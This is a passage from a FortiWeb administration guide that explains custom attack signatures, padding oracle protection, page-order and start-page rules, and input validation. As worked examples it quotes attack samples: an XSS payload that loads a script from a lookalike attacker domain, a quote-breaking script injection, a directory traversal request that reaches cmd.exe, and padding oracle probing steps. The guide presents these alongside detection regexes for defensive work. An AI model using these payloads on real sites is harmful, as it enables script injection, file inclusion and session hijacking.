\bServer:(.*)\b
Alert & Erase
Low notification-servers1
Setting name
Value
Signature creation
\bX-AspNetMvc-Version:(.*)\b
Alert & Erase
Low notification-servers1
424 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Value
Signature creation
\bX-AspNet-Version:(.*)\b
Alert & Erase
Low notification-servers1
Setting name
Value
Signature creation
\bX-Powered-By:(.*)\b
Alert & Erase
Low notification-servers1
The result is that the client receives HTTP responses with headers such as:
Server: XXXXXXXX
X-Powered-By: XXXXXXXX
X-AspNet-Version: XXXXXXXX
To improve performance, Example.com could use the attack logs generated by these signature matches to notify system administrators to disable version headers on their web servers. As each customer’s web server is reconfigured properly, this would reduce memory and processor power required to rewrite its headers.
See also
•
Defining custom data leak & attack signatures
Example: Zero-day XSS
Example.com is a cloud hosting provider. Large and with a huge surface area for attacks, it makes a tempting target and continuously sees attackers trying new forms of exploits.
Today, its incident response team discovered a previously unknown XSS attack. The attacker had breached the web applications’ own input sanitization defenses and succeeded in embedding 3 new methods of browser attacks in many forum web pages. Example.com wants to write a signature that matches the new browser attacks, regardless of what method is used to inject them.
All of the example text colored magenta contributes to the success of the attacks, and should be matched when creating a signature.
425 FortiWeb 5.2 Patch 2 Administration Guide
The first new XSS attack found was:
<img
src= ‘ /images/ nonexistant-file‘ onerror = document.write(
<scr I pt src= www.example.co
/ xss.js
>);
/>
The above attack works by leveraging a client web browser’s error handling against itself.
Without actually naming JavaScript, the attack uses the JavaScript error handling event onError()
to execute arbitrary code with the HTML <img> tag. The <img> tag’s source is a non-existent image. This triggers the web browser to load an arbitrary script from the attacker’s command-and-control server. To avoid detection, he attacker has even bought a DNS name that looks like one of example.com’s legitimate servers: www.example.co.
The incident response team has also found two other classes of XSS that evades the forum’s own XSS sanitizers (which only look for injection of <script> and <object> tags). The first one exploits a web browser’s parser by tricking it with additional quotes in an unexpected place:
<img """><script> alert("XSS") </script>" >
The second one exploits the nature of all web pages with images and other external files. Other than the web page itself, all images, scripts, styles, media, and objects cause the web browser to make secondary HTTP requests: one for each component of the web page. Here, the <img> tag causes the client’s web browser to make a request that is actually an injection attempt on another web site.
<img src="http://other.example.com/ command.php?variable=attackcode ">
The incident response team has written 3 regular expressions to detect each of the above XSS attack classes, as well as similar permutations that use HTML tags other than <img>:
•
<(.*)src(\s)*=(\s)*[‘’‘”](\s)*(.*)(\s)*[‘’‘”](\s)*onError
•
<(.*)[‘’‘”][‘’‘”]*(.*)>(\s)*<script>
•
<(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http|https|ftp|\\\\|\/\/)(.*)\?
Fortinet 426 FortiWeb 5.2 Patch 2 Administration Guide
To form a single signature that can check for any of the 3 new attacks, the team joins those 3 regular expressions by using pipe ( | ) characters between them in
Setting name
Value
Signature creation
<(.*)src(\s)*=(\s)*[‘’‘”](\s)*(.*)(\s)*[‘’‘”](\s)*onError
|<(.*)[‘’‘”][‘’‘”]*(.*)>(\s)*<script>
|<(\s)*[^(<script)](\s)*src(\s)*=(\s)*(http|https|ftp|\\\\|\/\/)(.*)\?
Alert & Deny
High notification-servers1
Attackers can try many techniques to evade detection by signatures. When writing custom attack signatures for FortiWeb, or when sanitizing corrupted content via rewriting, consider that smart attackers:
• instead of explicitly injecting JavaScript statements such as document.write();, inject
CSS or object HTML that either implicitly uses JavaScript or achieves the same purpose
(and therefore will not be caught by sanitizers rejecting JavaScript only syntax)
• use alternate encodings such as hexadecimal, Base64 or HTML entities instead of character in the encoding specified in the web page’s charset
• follow or break up valid tags with ignored special characters, such as slashes, spaces, tabs, bells, or carriage returns
• use characters that are functionally equivalent, such as single quotes ( ’ ) or back ticks ( ‘ ) instead of double quotes ( “” )
These may be functionally ignored or gracefully handled by a web browser or server’s parser, but will allow the attack to slip by your signature if it is not carefully crafted
In the above example, the attacker uses the back tick ( ‘ ) used instead of quotes, avoids the literal mention of javascript:, and does not match a regular expression that requires the exact, unvaried HTML tag <script>. Your regular expression should be flexible enough to account for these cases.
If content has already been corrupted by a successful attack, you can simultaneously sanitize all server responses and notify the response team of specific corrupted URLs. This can help your incident response team to quickly clean the impacted applications and databases. See
“Example: Sanitizing poisoned HTML” on page 393
.
Fortinet
See also
•
Defining custom data leak & attack signatures
•
Example: Sanitizing poisoned HTML
Example: Local file inclusion fingerprinting via Joomla
Attackers sometimes scout for vulnerabilities in a target before actually executing an attack on it or other, more challenging targets. To look for advance notice of specific attacks that your web servers may soon experience, you might create a honeypot: this server would run the same
427 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet platform as your production web servers, but contain no valuable data, normally receive no legitimate traffic, an be open to attacks in order to gather data on automated attacks for your forensic analysis.
Let’s say your honeypot, like your production web servers, runs Joomla. In either your web server’s logs, you see requests for URLs such as:
10.0.0.10
-
-
[16/Dec/2011:09:30:49 +0500]
"GET
/index.php?option=com_ckforms&controller=../../../../../../../../win nt/system32/cmd.exe?/c+ver HTTP/1.1"
200
"-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2)
Gecko/20111101 Firefox/9.0a2)" where the long string of repeated ../ characters indicates an attempt at directory traversal: to go above the web server’s usual content directories.
If Joomla does not properly sanitize the input for the controller parameter (highlighted in bold above), it would be able to use LFI. The attacker’s goal is to reach the cmd.exe file, the
Microsoft Windows command line, and enter the command ver, which displays the web server’s specific OS version, such as:
Microsoft Windows [Version 6.1.7601]
Since the attacker successfully fingerprinted the specific version of Windows and Joomla, all virtual hosts on that computer would be vulnerable also to any other attacks known to be successful on that platform.
Luckily, this is happening on your honeypot, and not your company’s web servers.
To detect similar attacks, you could write your own attack signature to match and block that
and similar directory-traversing requests via controller, as well as to notify you when your production web servers are being targeted by this type of attack:
Setting name
Value
Signature creation
^/index\.php\?option=com_ckforms\&controller=(\.\.\/)+?
Alert & Deny
High notification-servers1
If packet payload retention and logging were enabled, once this custom signature was applied, you could analyze requests to locate targeted files. Armed with this knowledge, you could then apply defenses such as tripwires, strict file permissions, uninstalling unnecessary programs, and sandboxing in order to minimize the likelihood that this attacker would be able to succeed and achieve her objectives.
428 FortiWeb 5.2 Patch 2 Administration Guide
Defeating cipher padding attacks on individually encrypted inputs
Like its predecessor the BEAST attack (see
“Prioritize RC4 Cipher Suite” on page 553
), the
Lucky 13 attack exploited flaws in SSL/TLS implementations of CBC encryption. Classified as a
“padding oracle” attack, Lucky 13 analyzes errors returned by the server (its “oracle”) after submitting incorrect “padding” — empty bytes that are added to plain text to make its length uniform before encryption is applied. (Padding is required by all block ciphers.) Once the attacker guesses the correct padding, the resulting encrypted messages have a similar pattern.
Attackers can analyze many packets to find the pattern, and thereby decrypt the data for a
MITM attack.
This attack involves some brute force: the attacker must guess repeatedly until the server does not return an error, indicating that the correct padding has been discovered. As such, padding attacks may not have been feasible 10 years ago. However as broadband connections and powerful computers become pervasive, this kind of attack has become practical.
Not all web applications use HTTPS, however. Cryptography generally decreases performance.
To improve performance while attempting to protect sensitive data, some web applications selectively encrypt above the application level. They encrypt only specific inputs and outputs, such as:
• session IDs
• cookies
• user profile URLs
• passwords
But if the custom functions to encrypt these inputs use the same principle as CBC, or are not well tested or promptly updated for security, they too are vulnerable to padding attacks.
For example, if only a user ID is encrypted, an attacker may want to decrypt it so that he or she can follow with a session hijacking attack. The attacker’s initial request might look like this:
GET /profile.jsp?UID=0000000000000001F851D6CC68FC9537...
The UID is a guess. Unless he or she is extremely lucky, the attacker did not use the correct key nor padding (e.g. 0x01). Therefore the application would reply with an error response such as:
500 Internal Server Error
But if the attacker increases or decreases the padding byte (e.g. 0x02), sends the request again, and repeats this process, the attacker would eventually guess the correct padding, resulting in a message from the server that indicates a correct padding byte:
200 OK
Repeating the above process with previous padding bytes would eventually yield the full, correct padding, and therefore also the length of the plain text. With that, the attacker would eventually be able to decrypt the entire UID. The attacker could then attempt to hijack the login.
To protect against padding oracle attacks
1. Consult with your application developer to find inputs that are individually encrypted.
Do not configure padding oracle attack prevention unless the URL, cookie or parameter is encrypted. Only encrypted inputs or URLs, especially those encrypted using CBC, ECB, or
OAEP, are vulnerable. Unnecessary protection will decrease FortiWeb performance.
Fortinet
2. Go to Web Protection > Advanced Protection > Padding Oracle Protection.
429 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New, then configure these settings:
Fortinet
Setting name
Name
Action
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the request and generate an alert email and/or log message.
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
430 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Block Period
Severity
Trigger Action
Description
The default value is Alert.
Attack log messages contain Padding Oracle Attack when this feature detects a possible attack. Because this attack involves some repeated brute force, the attack log may not appear immediately, but should occur within 2 minutes, depending on your configured DoS alert interval.
Caution:
This setting will be ignored if
is enabled.
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
“Monitoring currently blocked IPs” on page 639 .
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is Medium.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the
rule. See “Monitoring currently blocked IPs” on page 639
.
431 FortiWeb 5.2 Patch 2 Administration Guide
4. Click OK, then click Create New, then configure these settings:
Setting name
Host Status
Host
Type
Description
Enable to apply this rule only to HTTP requests for specific web
Disable to match the rule based upon the other criteria, such as the
URL, but regardless of the Host: field.
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the rule.
This option is available only if
is enabled.
Select whether the
field must contain a literal URL
(Simple String), or a regular expression designed to match multiple
URLs (Regular Expression).
Fortinet 432 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Protected URL
Protected Target
Description
Depending on your selection in
• the literal URL, such as /profile.jsp, that the HTTP request must contain in order to match the rule. The URL must begin with a backslash ( / ).
• a regular expression, such as ^/*\.jsp\?uid\=(.*), matching all and only the URLs to which the rule should apply.
The pattern does not require a slash ( / ).; however, it must at least match URLs that begin with a slash, such as
/profile.cfm
.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
and
“Cookbook regular expressions” on page 711 ).
Indicate which parts of the client’s requests should be examined for padding attack attempts:
• URL (e.g. parameters are embedded in the URL, such as
/user/0000012FE03BC2
)
• Parameter (e.g. parameters are appended in a traditional GET
URL parameter, such as
/index.php?user=0000012FE03BC2 or POST body)
• Cookie
5. Click OK.
6. Repeat the previous 2 steps for each encrypted input in the web application.
7. Click OK.
8. To apply the rule, select it in an inline protection profile or an offline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
Malicious clients often send many HTTP requests while attempting to analyze the padding.
This could flood your attack logs with repetitive messages. To adjust the interval at which
FortiWeb will record identical log messages during an ongoing attack, see max-dos-alert-interval <seconds_int>
in the
FortiWeb CLI Reference
. See also
.
Enforcing page order that follows application logic
Page order rules (called “page access rules” in the web UI) define URLs that must be accessed in a specific order to enforce correct business logic or application logic of a web application, and prevent cross-site request forgery (CSRF) attacks.
Fortinet 433 FortiWeb 5.2 Patch 2 Administration Guide
For example, a password change should always occur in this order:
Fortinet
1. A client begins an HTTP session by requesting the login page.
GET /login.asp
When the web server responds, FortiWeb adds its HTTP session cookie to the response to initiate a unique HTTP session for that client. All subsequent requests from the client will include this cookie until the client ends the session or the cookie expires. The cookie identifies the client, and coupled with the request URL, allows FortiWeb to track the client’s current session state, and enforce session-related features.
2. The client submits his or her authentication credentials.
POST /checkLogin.asp?account=user1&password=myPassw0rd!
Depending on the web application, the client’s login status could be cached server-side, or could be added to a cookie in the response, to be cached client-side.
3. If the login is successful, the web application displays the client’s account profile, which includes a password change form.
GET /profile.asp
4. The client submits a password change request.
POST /setPassword.asp?account=user1&password=myPassw0rd!
5. If the password change is successful, the account profile web page notifies the client.
GET /profile.asp?status=success
Authentication is required in order to prove the client’s identity. Unless HTTP session initiation is required and initial authentication is bound to that session, an attacker could change (or possibly simply read) the password of any user’s account simply by making a request like step 4 with the password query in its URL and/or repeating a stolen session cookie. Therefore password access should never be allowed in page requests ordered like this:
1. An attacker posts a password change for another person’s account.
POST /setPassword.asp?account=user1&password=myPassw0rd!
2. The account profile page notifies the attacker of the successful change.
GET /profile.asp?status=success where the password change page (/setPassword.asp) is requested before the client has initiated an authenticated session.
434 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
In another example, an e-commerce application might be designed to work properly in this order:
1. A client begins an HTTP session by adding an item to a shopping cart.
/addToCart.do
2. The client either views and adds additional items to the shopping cart at multiple other
URLs, or proceeds directly to the checkout.
3. The client confirms the items to purchase.
/checkout.do
4. The client provides shipping information.
/shipment.do
5. The client pays for the items and shipment, completing the transaction.
/payment.do
Sessions that begin at the shipping or payment stage should therefore be invalid. If the web application does not enforce this rule itself, it could be open to CSRF attacks on the payment feature. To prevent such abuse, FortiWeb could enforce the rule itself using a page access rule set with the following order in an HTTP session:
1. /addToCart.do?item=*
2. /checkout.do?login=*
3. /shipment.do
4. /payment.do
Attempts to request /payment.do before those other URLs (including the first URL, which initiates the HTTP session) during a session would be denied, and generate an alert email
and/or attack log message (see “Logging” on page 572
and “Alert email” on page 608 ).
Requests for other, non-ordered URLs are allowed to interleave ordered URLs during the client’s session. (Due to web browsers’ back buttons, flexible and complex features, and customers browsing your e-commerce inventory before completing a transaction, this is common.) Page access rules may be specific to a web host. This ensures that if web applications have URLs with the same name, you do not necessarily have to apply the same page order rules.
You can use SNMP traps to notify you when a page order rule has been enforced. For details, see
“SNMP traps & queries” on page 612 .
To configure a page order rule
1. Before you configure a page order rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names
group. For details, see “Defining your protected/allowed HTTP “Host:” header names” on page 260
.
2. Go to Web Protection > Access > Page Access.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
435 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Clear all
Edit
Delete
Setting name
Name
Severity
Trigger Action
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule.
See
“Configuring triggers” on page 587
.
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
Fortinet 436 FortiWeb 5.2 Patch 2 Administration Guide
7. Configure these settings:
Fortinet
Setting name
ID
Description
Type the index number of the individual rule within the page access rule, or keep the field’s default value of auto to let the FortiWeb appliance automatically assign the next available index number.
Page access rules should be added to the set in the order which clients will be permitted to access them.
For example, if a client must access /login.asp before /account.asp, add the rule for /login.asp first.
Host
Select the name of a protected host that the Host: field of an HTTP request must be in to match the page access rule.
This option is available only if
Host Status
is enabled.
Host Status Enable if you want the page access rule to apply only to HTTP requests for a specific web host. Also configure
Host
.
URL Pattern Depending on your selection in
Type
, enter either:
• the literal URL, such as /cart.php, that the HTTP request must contain in order to match the page access rule. The URL must begin with a slash
( / ).
• a regular expression, such as ^/*.php, matching all and only the URLs to which the page access rule should apply. The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as /cart.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
Type
Indicate whether
URL Pattern
is a Simple String (that is, a literal URL) or a
Regular Expression.
8. Click OK.
9. Repeat the previous steps for each individual rule that you want to add to page access.
437 FortiWeb 5.2 Patch 2 Administration Guide
10.To apply an access rule:
• select it in an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492 )
• enable
Attack log messages contain Page Access Rule Violation when this feature detects a request for a URL that violates the required sequence of URLs within a session.
Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to apply this feature. It will apply to
new sessions as they are formed. See “Sessions & FortiWeb HA” on page 39 .
See also
•
Configuring a protection profile for inline topologies
•
Specifying URLs allowed to initiate sessions
To prevent attackers from exploiting web applications that are vulnerable to state-based attacks, you may need to define legitimate entry points into your web applications.
When you select a start page group in the inline protection profile, clients must begin from a valid start page in order to initiate a valid HTTP session. If they violate this rule, they will wither be logged, blocked, or redirected to one of the valid entry pages (in the web UI, this is called the
“default” page).
Fortinet
All web pages in a start page rule must belong to the same web site. Start page rules cannot redirect each violation to a different location, depending on which of the rules was violated. If you choose to redirect violations, all violations will be redirected to the same “default” URL.
438 FortiWeb 5.2 Patch 2 Administration Guide
For example, you may insist that HTTP clients of an e-commerce web site begin their session from either the main page, an item view, or login. Clients are not allowed to begin a valid session from the third stage of the shopping cart checkout. If someone initiates a session from partway through the shopping cart checkout, it is likely to be an attack. But just in case it was due to a legitimate client clearing the browser’s cookies or clicking a link or bookmark, FortiWeb could redirect the request to one of the valid start pages.
To configure start page rules
1. Before you configure a start page rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names
group. For details, see “Defining your protected/allowed HTTP “Host:” header names” on page 260
.
2. Go to Web Protection > Access > Start Pages.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
4. Configure these settings:
Setting name
Name
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Fortinet 439 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Action
Block Period
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the connection and generate an alert email and/or log message.
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that
indicates the original client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
• Redirect — Redirect the request to the URL that you specify in the protection profile or
URL Pattern
and generate an alert and/or log message. Also configure either
URL Pattern
, or
.
• Send 403 Forbidden — Reply with an HTTP 403 Access
Forbidden
error message and generate an alert and/or log message.
The default value is Alert.
Note:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and configured. See
and
.
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
Action
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
“Monitoring currently blocked IPs” on page 639 .
440 FortiWeb 5.2 Patch 2 Administration Guide
Severity
Trigger Action
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the
rule. See “Configuring triggers” on page 587 .
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
7. Configure these settings:
Fortinet
Setting name
Host
Description
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match a valid start page.
This option is available only if
Host Status
is enabled.
Host Status Enable to require that the Host: field of the HTTP request match a protected host names entry in order to match a valid start page. Also configure
Host
.
Type
Select whether
URL Pattern
is a Simple String (that is, a literal URL such as
/index.html
) or a Regular Expression.
Note:
If
Default
is Yes, you must select Simple String and provide the exact redirect/session initiation URL in
URL Pattern
. (A regular expression does not specify a single definite destination, and therefore is not a valid configuration in that case.)
441 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Default
Description
If
Action
is Redirect, for requests that either:
• do not specify any URL (such as requesting http://www.example.com/
instead of http://www.example.com/index.php
), and therefore neither explicitly match nor violate the rule
• violate the start page rule (applies only if you have selected Redirect from
Action
) select Yes if you want FortiWeb to redirect the client to this page, indicated in
URL Pattern
. (i.e., This URL will be treated as the web site’s default/home page.) Otherwise, select No and configure the redirect URL separately from this rule, in the protection profile’s
To prevent the redirect from having more than one possible destination, only one URL in the start page rule can be configured as the “default” at a given time.
URL Pattern Depending on your selection in Type, type either:
• the literal URL, such as /index.php, that the HTTP request must contain in order to match the start page rule. The URL must begin with a slash
( / ).
If
Default
is Yes, the literal URL also indicates the redirect URL and/or session initiation URL.
• a regular expression, such as ^/*.php, matching all and only the URLs to which the start page rule should apply. The pattern does not require a slash ( / ). However, it must at match URLs that begin with a slash, such as /index.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
8. Click OK.
9. Repeat the previous steps for each start page that you want to add to the group of start pages.
442 FortiWeb 5.2 Patch 2 Administration Guide
10.To apply a start page rule:
• select it in an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492 )
• enable
Attack log messages contain Start Page Violation when this feature detects a start page violation. Additionally, if the start page rule was configured to redirect the attacker, parameters will be appended to the redirect URL to indicate the reason. e.g.: http://example.com/index.html?redirect491=1&reason747sha=Start%20Pag e%20Violation
Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to apply this feature. It will apply to
new sessions as they are formed. See “Sessions & FortiWeb HA” on page 39 .
See also
•
Configuring a protection profile for inline topologies
•
Fortinet 443 FortiWeb 5.2 Patch 2 Administration Guide
Preventing zero-day attacks
While your first line of defense is to scan for known attacks, zero-day attacks are, by definition, unknown.
To defend against zero-day buffer overflow, buffer underflow, shell code, and similar injection attacks that you have not yet identified and created a signature for, input validation can help.
You can configure FortiWeb to sanitize inputs at the web application level. (For attacks that operate at the HTTP protocol level, or attacks that are not types of application or document injection attacks, see
“HTTP/HTTPS protocol constraints” on page 463
and
“Access control” on page 339 .)
See also
•
•
•
Validating parameters (“input rules”)
•
Preventing tampering with hidden inputs
Validating parameters (“input rules”)
You can configure rules to validate parameters (input) of your web applications.
Input rules define whether or not parameters are required, and their maximum allowed length, for requests that match both the:
•
Host:
in the HTTP header
• URL as defined in the input rule. Inputs are typically the <input> tags in an HTML form.
Fortinet 444 FortiWeb 5.2 Patch 2 Administration Guide
Figure 49:An HTML form with two inputs: Account ID‘s type attribute is text; Password’s type
attribute is password
Form input
Form input
Fortinet
For example, one web page might have an HTML form with multiple inputs:
• a user name
• a password
• a preference for whether or not to remember the login
Within the input rule for that web page, you could define separate rules for each parameter in the request: one rule for the user name parameter, one rule for the password parameter, and one rule for the preference parameter. The password rule could be used to enforce password complexity by requiring that it match a Level 2 Password data type.
Unlike hidden field rules, input rules are for visible inputs only, such as buttons and text areas.
For information on constraining hidden inputs, see
“Preventing tampering with hidden inputs” on page 453 .
Each input rule contains one or more individual rules. Collectively, individual rules define all parameter restrictions that apply to requests matching that combination of URL and host name.
If an HTTP/HTTPS request contains repeated parameters, FortiWeb will enforce the input rules for all instances of the parameter — not just the first time it occurs in the request.
Enforcement cannot occur if the parameter is bigger than the memory size you have configured for FortiWeb’s scan buffers. To configure the buffer size, see http-cachesize in the
FortiWeb
CLI Reference
. If your web applications do not require requests larger than the buffer, enable
Malformed Request
to harden your configuration.
To configure an input rule
1. Before you configure an input rule, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group (see
445 FortiWeb 5.2 Patch 2 Administration Guide
“Defining your protected/allowed HTTP “Host:” header names” on page 260 ). If you want to
define your own data types, you should also configure those first (see
“Defining custom data types” on page 452
).
2. Go to Web Protection > Input Validation > Parameter Validation Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
4. Configure these settings:
Fortinet
Setting name
Name
Host Status
Host
Request URL
Type
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Enable to apply this input rule only to HTTP requests for specific web hosts. Also configure
Host
.
Disable to match the input rule based upon the other criteria, such as the URL, but regardless of the Host: field.
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the signature exception.
This option is available only if
is enabled.
Select whether the
Request URL
field must contain a literal URL (Simple
String), or a regular expression designed to match multiple URLs
(Regular Expression).
446 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Request URL
Description
Depending on your selection in
Request URL Type
, type either:
• the literal URL, such as /index.php, that the HTTP request must contain in order to match the input rule. The URL must begin with a backslash ( / ).
• a regular expression, such as ^/*.php, matching all and only the
URLs to which the input rule should apply. The pattern does not require a slash ( / ).; however, it must at least match URLs that begin with a slash, such as /index.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
and
“Cookbook regular expressions” on page 711
).
Fortinet 447 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Action
Block Period
Description
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the connection and generate an alert email and/or log message.
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see
“Defining your proxies, clients, &
X-headers” on page 281 ). Failure to do so may cause FortiWeb to
block all connections when it detects a violation of this type.
• Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also
and
• Send 403 Forbidden — Reply with an HTTP 403 Access
Forbidden
error message and generate an alert and/or log message.
The default value is Alert. See also
“Reducing false positives” on page 657 .
Caution:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and configured. See
Note:
If you will use this rule set with auto-learning, you should select
Alert. If
is Alert & Deny, or any other option that causes the
FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 1. See also
“Monitoring currently blocked IPs” on page 639 .
448 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Severity
Trigger Action
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See
“Configuring triggers” on page 587 .
5. Click OK.
6. Click Create New to add an entry to the set. You can add up to 1,024.
A dialog appears.
7. Configure these settings:
Fortinet
Setting name
Name
Max Length
Required
Description
Type the value of the name attribute of the parameter’s input tag exactly as it appears in the form on the web page.
For example, if the HTML code for an input tag is:
<input type="password" name="pwd" />
Note:
If the name is not correct, this rule will not match the parameter.
Type the maximum length of the string that is the input’s value.
For example, if the input’s value is always a short string like candy, the maximum length could be 5. If the value is a number less than 100 such as 42, the maximum length should be 2 (since the number “42” is 2 characters long).
To disable the length limit, type 0.
Tip:
See also
Malformed Request
.
Enable if the parameter is required for HTTP/HTTPS requests to this combination of Host: field and URL.
449 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
Use Type Check
Enable to validate the data type of the parameter. Also configure
.
Argument Type
Select one of:
• Data Type — Select one of the predefined data types from
Data
Type
.
• Regular Expression — Define the data type using a regular expression in
Regular Expression
.
• Custom Data Type — Select one of the custom data types from
This option is only applicable when
is enabled.
Data Type
Select a predefined data type. See
“Predefined data types” on page 175 .
This option is only available when
Regular
Expression
Custom Data
Type
Type a regular expression that matches all valid values, and no invalid values, for this input.
This option is only available when
is Regular Expression.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
Select a custom data type. See
“Defining custom data types” on page 452 .
This option is only available when
8. Click OK.
9. Repeat the previous steps for each individual validation rule that you want to add to the group of validation rules.
